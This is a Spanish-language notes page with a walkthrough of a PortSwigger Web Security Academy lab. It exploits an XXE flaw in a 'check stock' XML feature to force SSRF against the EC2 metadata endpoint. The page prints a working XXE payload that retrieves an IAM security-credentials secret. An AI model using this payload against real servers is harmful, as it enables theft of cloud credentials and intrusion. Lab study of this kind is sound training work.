> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/es/web/xxe/xxe-to-perform-ssrf-attacks.md).

# XXE para realizar ataques SSRF

Notas de XXE para realizar ataques SSRF para laboratorios de PortSwigger Web Security Academy, incluido el flujo de explotación, pruebas de payloads, validación con Burp Suite y contexto de remediación.

### Explotación de XXE para realizar ataques SSRF

Explotar una vulnerabilidad XXE en la **"Comprobar stock"** función que acepta XML, provocando una solicitud SSRF al endpoint de metadatos de EC2 (`HTTP://169.254.169.254/`) y recuperando la clave secreta de IAM del servidor.

El servidor del laboratorio simula un endpoint de metadatos de EC2 accesible a la dirección predeterminada `HTTP://169.254.169.254/` dirección. Al inyectar una entidad externa en el XML enviado al analizador vulnerable, se puede obligar al servidor a leer la URL interna y devolver su contenido en la respuesta.

#### Iniciar XML

{% code overflow="wrap" %}

```xml
<?xml version="1.0" encoding="UTF-8"?>
<stockCheck>
 <productId>
  4
 </productId>
 <storeId>
  1
 </storeId>
</stockCheck>
```

{% endcode %}

#### Carga útil XXE utilizada para realizar SSRF

Reportando desde una entidad externa que apunta al endpoint de metadatos de IAM y luego incluyendo esa entidad en el campo reflejado (`productId`):

```xml
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE foo [<!ENTITY myFile SYSTEM "http://169.254.169.254/latest/meta-data/iam/security-credentials/admin">]>
<stockCheck>
  <productId>
  &myFile;
  </productId>
<storeId>
  1
  </storeId>
</stockCheck>
```

<figure><img src="https://754079710-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-7237ab3bb1918399674a34bcb7788532ad1095f8%2F%7B79E922E8-7ACF-4E42-B7DC-AC47AA55193D%7D.png?alt=media" alt=""><figcaption></figcaption></figure>


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